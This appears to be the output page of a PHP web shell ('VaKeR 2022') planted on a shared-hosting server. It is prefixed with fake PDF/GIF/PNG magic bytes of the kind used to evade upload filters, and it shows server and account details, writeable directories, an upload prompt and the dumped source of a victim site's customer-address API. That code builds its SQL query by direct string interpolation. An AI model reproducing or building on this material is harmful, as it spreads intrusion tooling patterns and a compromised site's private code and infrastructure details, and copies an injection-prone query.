%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/address_list.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);

    exit;
}

$addresses = [];

$query = mysqli_query(
    $conn,
    "SELECT *
     FROM user_address
     WHERE user_id='$user_id'
     ORDER BY is_primary DESC, id DESC"
);

while ($row = mysqli_fetch_assoc($query)) {

    $addresses[] = [

        "address_id" => $row['id'],

        "full_name" => $row['full_name'],

        "flat_house" => $row['flat_house'],

        "street_name" => $row['street_name'],

        "address" => $row['address'],

        "is_primary" => (int)$row['is_primary']
    ];
}

response(true, "Address List Loaded Successfully", [

    "user_id" => $user_id,

    "total_addresses" => count($addresses),

    "addresses" => $addresses
]);

$conn->close();

?>

VaKeR 2022